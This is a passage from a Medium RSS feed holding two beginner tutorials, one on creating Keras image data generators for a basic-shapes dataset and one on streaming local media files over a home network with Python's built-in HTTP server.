href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[keras image generator]]></title>
            <link>https://medium.com/featurepreneur/keras-image-generator-d88e2b9c501f?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d88e2b9c501f</guid>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[keras]]></category>
            <category><![CDATA[python3]]></category>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 06:52:32 GMT</pubDate>
            <atom:updated>2022-01-07T07:31:42.515Z</atom:updated>
            <content:encoded><![CDATA[<p>walkthrough on how to use keras image generator. Easy steps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*VsWOhcN_mZXokBDc.png" /></figure><p>let’s use the dataset : <a href="https://www.kaggle.com/cactus3/basicshapes">https://www.kaggle.com/cactus3/basicshapes</a></p><p>it is the perfect dataset to practice keras image generator</p><ol><li>Create a dataframe:</li></ol><pre>base_path = &#39;/kaggle/input/basicshapes/shapes/&#39;<br>def get_filenames(shape):<br>    path = os.path.join(base_path, shape)<br>    return [os.path.join(path, img) for img <strong>in</strong> os.listdir(path)]</pre><pre>c = pd.DataFrame({<br>    &#39;img_path&#39; : get_filenames(&#39;circles&#39;),<br>    &#39;ishape&#39;    : &#39;circle&#39;<br>})<br><br>s = pd.DataFrame({<br>    &#39;img_path&#39; : get_filenames(&#39;squares&#39;),<br>    &#39;ishape&#39;    : &#39;square&#39;<br>})<br><br>t = pd.DataFrame({<br>    &#39;img_path&#39; : get_filenames(&#39;triangles&#39;),<br>    &#39;ishape&#39;    : &#39;triangle&#39;<br>})<br><br>df = pd.concat([c, s, t]).reset_index(drop = True)<br>df.head()</pre><p>make sure it outputs df similar to this</p><pre>| img_path | ishape |<br>| --- | ----------- |<br>| /kaggle/input/basicshapes/shapes/circles/drawi... | circle |<br>| /kaggle/input/basicshapes/shapes/triangles/drawi... | triangle|<br>| /kaggle/input/basicshapes/shapes/squares/drawi...  | square |</pre><p>2. import the required modules</p><pre>import tensorflow as tf <br>import tensorflow.keras as keras <br>from tensorflow.keras import Sequential<br>from tensorflow.keras.utils import plot_model, to_categorical<br>from tensorflow.keras.layers import Dense, Input, Dropout, BatchNormalization, Flatten<br>from sklearn.metrics import classification_report, confusion_matrix<br>from sklearn.model_selection import train_test_split<br>from tensorflow.keras.preprocessing.image import ImageDataGenerator<br>import tensorflow_addons as tfa</pre><p>3. split the df into train and test so we can create a two different data generators.</p><pre>x = df.drop([&#39;ishape&#39;], axis = 1)<br>y = df.ishape<br><br>x_train, x_dev, y_train, y_dev = sample(x, y, 0.3, True)<br><br>y_train.shape, y_dev.shape</pre><pre>((210,), (90,))</pre><p>4. create a data generator function so its easy to create multiple different data generators easily in one line of code</p><pre>def create_data_generators(df, batch_size = 16, datagen_args = {<br>     &#39;rotation_range&#39;     : 20,<br>     &#39;width_shift_range&#39;  : 0.2,<br>     &#39;height_shift_range&#39; : 0.2,<br>     &#39;rescale&#39;            : 1./255,<br>     &#39;vertical_flip&#39;      : True,<br>     &#39;horizontal_flip&#39;    : True<br>    }):<br>    <br>    datagen = ImageDataGenerator(**datagen_args)<br>    datagenerator = datagen.flow_from_dataframe(<br>                                            df,<br>                                            base_path,<br>                                            x_col = &#39;img_path&#39;,<br>                                            y_col = &#39;ishape&#39;,<br>                                            target_size = (28,28),<br>                                            class_mode=&#39;categorical&#39;,<br>                                            batch_size = batch_size, <br>                                            shuffle=True<br>                                            )<br>    return datagenerator</pre><p>if you want to know more about the parameters look them up here : <a href="https://www.tensorflow.org/api_docs/python/tf/keras/preprocessing/image/ImageDataGenerator">https://www.tensorflow.org/api_docs/python/tf/keras/preprocessing/image/ImageDataGenerator</a></p><p>5. join the x_train and y_train into one df and x_dev and y_dev into another df in order to create a image data generator</p><pre>train_df = pd.concat([x_train, y_train], axis = 1)<br>dev_df = pd.concat([x_dev, y_dev], axis = 1)<br><br><br>train_datagen_args = {<br>     &#39;rescale&#39;            : 1./255,<br>     &#39;zoom_range&#39;         : 0.1, <br>     &#39;vertical_flip&#39;      : True,<br>     &#39;horizontal_flip&#39;    : True<br>    }<br>train_gen = create_data_generators(train_df, datagen_args = train_datagen_args)<br>dev_gen = create_data_generators(dev_df, datagen_args = {&#39;rescale&#39;: 1./255})</pre><p>if successful then it should log something like this</p><pre>Found 210 validated image filenames belonging to 3 classes.<br>Found 90 validated image filenames belonging to 3 classes.</pre><p>6. finally you can feed that train_gen into your model using model.fit_generator in keras</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d88e2b9c501f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/keras-image-generator-d88e2b9c501f">keras image generator</a> was originally published in <a href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Create your own Streaming Service at home with just One Command using python3]]></title>
            <link>https://medium.com/featurepreneur/create-your-own-streaming-service-at-home-with-just-one-command-using-python3-d323b01f5fb7?source=rss-514654f9af6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d323b01f5fb7</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[python3]]></category>
            <category><![CDATA[servers]]></category>
            <dc:creator><![CDATA[Jaabir]]></dc:creator>
            <pubDate>Thu, 06 Jan 2022 05:01:00 GMT</pubDate>
            <atom:updated>2022-01-07T07:33:46.040Z</atom:updated>
            <content:encoded><![CDATA[<p>NOTE : this is for windows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/0*XfhZ0JP-J2DaZwVG.png" /></figure><ol><li>Install python3 <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li><li><strong>Check Installation: </strong>Open up command prompt (for windows) or terminal (for mac and linux) and type</li></ol><pre>python --version</pre><p>3. <strong>Navigate to folder: </strong>Move all your video/image files to one folder and copy the folder’s path, here is how to copy a folder’s path, <a href="https://osxdaily.com/2013/06/19/copy-file-folder-path-mac-os-x/">Mac</a> or <a href="https://www.howtogeek.com/670447/how-to-copy-the-full-path-of-a-file-on-windows-10/#:~:text=Find%20the%20file%20or%20folder,select%20%E2%80%9CCopy%20As%20Path.%E2%80%9D">Windows</a>. Open up command prompt/terminal window open, type</p><pre>cd /Your/Path/To/Folder</pre><p>4. <strong>Start Server: </strong>While you have the command prompt/terminal window open, type</p><pre>python -m http.server 8080</pre><p>you may get the output as,</p><pre>Serving HTTP on :: port 8080 (<a href="http://[::]:8080/">http://[::]:8080/</a>) ...</pre><p><strong>5. Connect to Server: </strong>Open a browser on any device connected to the same network as the server ( your pc ).</p><p>To get the server url got to cmd/terminal and type</p><pre>ipconfig (windows)<br>ifconfig (linux / mac)</pre><p>You should see something like this</p><pre>Wireless LAN adapter Wi-Fi:</pre><pre>Connection-specific DNS Suffix  . :<br>   Link-local IPv6 Address . . . . . : sdskfqioeu12093120<br>   IPv4 Address. . . . . . . . . . . : 192.168.1.19<br>   Subnet Mask . . . . . . . . . . . : 255.255.255.0<br>   Default Gateway . . . . . . . . . : 192.168.1.1</pre><p>here in my case my url will be</p><pre>http://192.168.1.19:8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VIGlrsJS0Xl8xaN8.png" /></figure><p>Click on a video file to play the video. And there you go, your own little home server to stream all your files. To stop running your server just press ctrl + c in the command prompt/terminal window.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d323b01f5fb7" width="1" height="1" alt=""><hr><p><a href="https://medium.com/featurepreneur/create-your-own-streaming-service-at-home-with-just-one-command-using-python3-d323b01f5fb7">Create your own Streaming Service at home with just One Command using python3</a> was originally published in <a href="https://medium.com/featurepreneur">featurepreneur</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>